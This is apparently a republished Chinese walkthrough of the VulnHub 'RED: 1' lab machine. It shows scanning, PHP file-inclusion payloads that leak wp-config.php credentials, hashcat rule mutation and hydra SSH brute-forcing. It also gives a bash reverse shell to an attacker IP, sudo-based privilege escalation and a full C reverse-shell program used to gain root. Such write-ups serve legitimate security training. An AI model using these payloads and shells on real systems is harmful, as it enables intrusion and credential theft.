6

vulnhub靶场之RED: 1 - upfine

 1 year ago
source link: https://www.cnblogs.com/upfine/p/16783668.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

vulnhub靶场之RED: 1

准备:

攻击机:虚拟机kali、本机win10。

靶机:RED: 1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/red/Red.ova,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题。

涉及的知识点:hashcat碰撞、shell反弹、权限提升、dns解析、文件包含、ssh登录时的口令爆破。

2834847-20221012103658267-1023669436.png

信息收集:

先扫描以下网段内的主机ip,获取下靶机的ip地址。

2834847-20221012104032485-524338057.png

使用nmap扫描靶机开放端口对应的具体服务信息,命令:nmap -T4 -sV -p- -A 172.20.10.3,发现apache、wordpress版本等信息。

2834847-20221012105847802-1182966702.png

使用目录扫描工具对目录进行扫描,这里使用的是dirmap,命令:python dirmap.py -i http://172.20.10.3/ -lcf,发现robots.txt、readme.html、license.txt、wp-admin.php等文件。

2834847-20221012105209439-270766468.png

2834847-20221012163333907-1812588413.png

发现了一个站点地图,尝试进行访问,但是访问失败,后面又在:http://172.20.10.3/wp-admin.php发现搜索下的提示,但是搜索后跳转到:http://redrocks.win/?s=1仍是失败,但是发现均是指向了域名:redrocks.win,后面又在http://172.20.10.3/wp-admin.php的源码中发现dns-prefetch,然后想到了设置dns解析。

2834847-20221012164028721-402040499.png
2834847-20221012163903518-1739397239.png

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:172.20.10.3 redrocks.win,linux:修改/etc/hosts文件,然后访问:http://redrocks.win/成功进入界面,这里加了三个ip,第一个连手机热点获得的ip,后两个连家里网获得的ip,在家里搞得时候靶机崩了一次,导致靶机得数据库一直启动不了,只能重装,然后ip就变了。后面两个是后加的,开始想着手机开热点就能搞完呢。

2834847-20221012222806117-1565953865.png
2834847-20221012164529499-2111537279.png

在主界面进入到http://redrocks.win/2021/10/24/hello-world/,检查源代码时发现:Maybe you should ask Mr. Miessler for help,百度了以下,发现是一个github上有这个的信息。

2834847-20221012193117932-431544882.png

2834847-20221012193306985-407437135.png

查找后门文件:

那就下载下来爆破字典,然后在kali中使用gobuster进行爆破,命令:gobuster dir -u http://192.168.1.13 -w CommonBackdoors-PHP.fuzz.txt,CommonBackdoors-PHP.fuzz.txt文件在SecLists-master\Discovery\Web-Content下面,注意替换地址或者使用域名进行爆破,获取到NetworkFileManagerPHP.php文件。

2834847-20221012202754360-175225541.png

返回的状态码为500,表示服务器运行错误,因此这里应该是需要传递一个参数,那就需要对参数名进行爆破,这里继续使用下载的字典,使用bp的爆破模块加载burp-parameter-names.txt进行爆破,burp-parameter-names.txt文件在SecLists-master\Discovery\Web-Content下面,获得传递的参数名称key(emmm 调整了key的顺序,不然不知道得到什么时候才能出来,前面一次把靶机给扫崩了...,观察返回数据包得长度就可以)。

2834847-20221012212400124-1459470011.png

确定参数名称后传递参数值进行测试,发现这里是一个文件包含漏洞,http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../etc/passwd。

2834847-20221012224437979-2106884767.png

通过伪协议先读取下NetworkFileManagerPHP.php文件,命令:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php(读取php文件需要使用base64进行加密),对获得base64字符串进行解密获得源码信息。

base64加密字符串:

PD9waHAKICAgJGZpbGUgPSAkX0dFVFsna2V5J107CiAgIGlmKGlzc2V0KCRmaWxlKSkKICAgewogICAgICAgaW5jbHVkZSgiJGZpbGUiKTsKICAgfQogICBlbHNlCiAgIHsKICAgICAgIGluY2x1ZGUoIk5ldHdvcmtGaWxlTWFuYWdlclBIUC5waHAiKTsKICAgfQogICAvKiBWR2hoZENCd1lYTnpkMjl5WkNCaGJHOXVaU0IzYjI0bmRDQm9aV3h3SUhsdmRTRWdTR0Z6YUdOaGRDQnpZWGx6SUhKMWJHVnpJR0Z5WlNCeWRXeGxjdz09ICovCj8

源码信息:

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?

源码中得base64字符串信息:

That password alone won't help you! Hashcat says rules are rules

读取下wp-config.php的文件信息,命令:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php,获得base64加密的wp-config.php文件进行解密,获得mysql的账户名和密码:john/R3v_m4lwh3r3_k1nG!!

base64字符串信息:

PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUgaW5zdGFsbGF0aW9uLg0KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbiBjb3B5IHRoaXMgZmlsZSB0byAid3AtY29uZmlnLnBocCINCiAqIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YWJsZSBwcmVmaXgNCiAqICogQUJTUEFUSA0KICoNCiAqIEBsaW5rIGh0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0L2FydGljbGUvZWRpdGluZy13cC1jb25maWctcGhwLw0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQovLyAqKiBNeVNRTCBzZXR0aW5ncyAtIFlvdSBjYW4gZ2V0IHRoaXMgaW5mbyBmcm9tIHlvdXIgd2ViIGhvc3QgKiogLy8NCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICd3b3JkcHJlc3MnICk7DQoNCi8qKiBNeVNRTCBkYXRhYmFzZSB1c2VybmFtZSAqLw0KZGVmaW5lKCAnREJfVVNFUicsICdqb2huJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgcGFzc3dvcmQgKi8NCmRlZmluZSggJ0RCX1BBU1NXT1JEJywgJ1Izdl9tNGx3aDNyM19rMW5HISEnICk7DQoNCi8qKiBNeVNRTCBob3N0bmFtZSAqLw0KZGVmaW5lKCAnREJfSE9TVCcsICdsb2NhbGhvc3QnICk7DQoNCi8qKiBEYXRhYmFzZSBDaGFyc2V0IHRvIHVzZSBpbiBjcmVhdGluZyBkYXRhYmFzZSB0YWJsZXMuICovDQpkZWZpbmUoICdEQl9DSEFSU0VUJywgJ3V0ZjgnICk7DQoNCi8qKiBUaGUgRGF0YWJhc2UgQ29sbGF0ZSB0eXBlLiBEb24ndCBjaGFuZ2UgdGhpcyBpZiBpbiBkb3VidC4gKi8NCmRlZmluZSggJ0RCX0NPTExBVEUnLCAnJyApOw0KDQpkZWZpbmUoJ0ZTX01FVEhPRCcsICdkaXJlY3QnKTsNCg0KZGVmaW5lKCdXUF9TSVRFVVJMJywgJ2h0dHA6Ly9yZWRyb2Nrcy53aW4nKTsNCmRlZmluZSgnV1BfSE9NRScsICdodHRwOi8vcmVkcm9ja3Mud2luJyk7DQoNCi8qKiNAKw0KICogQXV0aGVudGljYXRpb24gdW5pcXVlIGtleXMgYW5kIHNhbHRzLg0KICoNCiAqIENoYW5nZSB0aGVzZSB0byBkaWZmZXJlbnQgdW5pcXVlIHBocmFzZXMhIFlvdSBjYW4gZ2VuZXJhdGUgdGhlc2UgdXNpbmcNCiAqIHRoZSB7QGxpbmsgaHR0cHM6Ly9hcGkud29yZHByZXNzLm9yZy9zZWNyZXQta2V5LzEuMS9zYWx0LyBXb3JkUHJlc3Mub3JnIHNlY3JldC1rZXkgc2VydmljZX0uDQogKg0KICogWW91IGNhbiBjaGFuZ2UgdGhlc2UgYXQgYW55IHBvaW50IGluIHRpbWUgdG8gaW52YWxpZGF0ZSBhbGwgZXhpc3RpbmcgY29va2llcy4NCiAqIFRoaXMgd2lsbCBmb3JjZSBhbGwgdXNlcnMgdG8gaGF2ZSB0byBsb2cgaW4gYWdhaW4uDQogKg0KICogQHNpbmNlIDIuNi4wDQogKi8NCmRlZmluZSgnQVVUSF9LRVknLCAgICAgICAgICcydXVCdmM4U081ez5Vd1E8XjVWNVtVSEJ3JU59LUJ3V3F3fD48KkhmQndKKCAkJiUsKFpiZy9qd0ZrUkhmfnZ8Jyk7DQpkZWZpbmUoJ1NFQ1VSRV9BVVRIX0tFWScsICAnYWh9PElgNTJHTDZDXkB

源码信息:

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@

发现数据库的账号和密码想起来查看/etc/passwd时存在一个john账户,那就使用ssh协议尝试登录以下,但是登录失败,然后又想起来了:That password alone won't help you! Hashcat says rules are rules,那就需要使用hashcat进行碰撞了,因为这些源码中的信息加密方式采用的base64,因此选择base64的规则进行碰撞,如果这里遇到问题,可以去https://www.intel.com/content/www/us/en/developer/tools/opencl-cpu-runtime/overview.html下载该文件进行解压,然后执行./install.sh即可,命令:hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > result.txt。

2834847-20221012233646064-1360275596.png

使用解出的密码通过hydra进行ssh爆破,命令:hydra -l john -P result.txt ssh://192.168.1.2,或者超级弱口令检查工具等均可,获得密码:R3v_m4lwh3r3_k1nG!!00。

2834847-20221012234352795-111947343.png
2834847-20221012234713216-1709357198.png

使用ssh登录靶机,账号和密码:john/R3v_m4lwh3r3_k1nG!!0

2834847-20221012234829358-2082248058.png

登录成功时发现的问题:

1、连接每过一段时间会自动断开,并且会修改密码,因此我们可以自己反弹一个shell到kali上。kali开启6688端口的监听:nc -lvvp 6688,shell界面执行:bash -i >& /dev/tcp/192.168.1.12/6688 0>&1。

2834847-20221013101306431-1116694872.png

2、发现cat命令和vi命令进行了互换。

2834847-20221013101524386-1158366739.png

提权:

在home下发现ippsec、oxdf文件夹下的user.txt,但是均无权访问。

2834847-20221013102918623-305041159.png

输入命令:sudo -l,查看到ippsec不需要密码就提权的命令有time

2834847-20221013110845211-1013028591.png
2834847-20221016152919507-2103537143.png

切换ippsec账户,命令:sudo -u ippsec /usr/bin/time /bin/bash,然后查看user.txt文件。

2834847-20221013111826590-1428840534.png

因为我们的shell一直被断开,严重影响我们的操作,因此我们使用ippsec账户反弹一个shell,这样当原ssh连接断开时,我们的shell就不会被断开了,这里注意cat和vi命令互换了,前面有提到,记得用:python3 -c 'import pty;pty.spawn("/bin/bash")'升级以下。

2834847-20221016143440024-1509579.png

下面这里可以看到左侧的shell已经被关闭了,但通过ippsec账户反弹的shell还可以正常使用。

2834847-20221016143903083-2069219706.png

查找下ippsec账户所拥有权限的文件,发现了.git文件,命令:find / -group ippsec -type d 2>/dev/null | grep -v proc.

2834847-20221013112056400-451462857.png

在.git文件里发现可执行程序rec并进行执行

2834847-20221016134757344-626943871.png

查看了下目录下文件的所有者,发现是rev文件、supersecretfileuc.c文件具有root权限,然后想到了替换.c文件的内容,通过,c文件创建反弹root权限的shell,然后等待rcv执行调用supersecretfileuc.c完成root权限shell的反弹。

1、删除rev文件和supersecretfileuc.c文件,rm rev和rm supersecretfileuc.c。

2、在攻击机中开启9001端口的监听,命令:nc -lvvp 9001。

3、在靶机/var/www/wordpress/.git目录下创建supersecretfileuc.c并写入c语言反弹shell的脚本,命令:cat supersecretfileuc.c。

这里等待rev自动执行即可,手动执行是不行的。

c语言的反弹shell的脚本可以在https://www.revshells.com/网站生成,脚本内容如下:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 9001;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.12");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       
}
2834847-20221016174934258-1226147596.png
2834847-20221016173548644-1325572572.png

在root下发现red留下的后门文件,删除就可以夺回控制权了。

2834847-20221016174723680-293691618.png

闲着无聊查看了一下后门文件信息,发现就是对上面替换的supersecretfileuc.c文件进行编译,然后并执行生成的文件。

2834847-20221016180601299-273194613.png

我们的开始的shell一直被踢掉是因为kill_sess.sh文件杀掉了john账户的所有进程,因此我们使用ippsec账户创建shell的时候就不会被踢掉了。

2834847-20221016181157928-1534780917.png

在日志里发现执行后门代码的记录,命令:vi /var/log/syslog,也查看了定时任务:vim /etc/crontab。

2834847-20221016182839933-1786224686.png
2834847-20221016182601258-829798206.png

使用命令:crontab -l可以查看执行后门文件的定时任务,这里也是导致我们ssh连接断开和返回干扰信息的根本原因,如下:

2834847-20221016185800904-1625935924.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK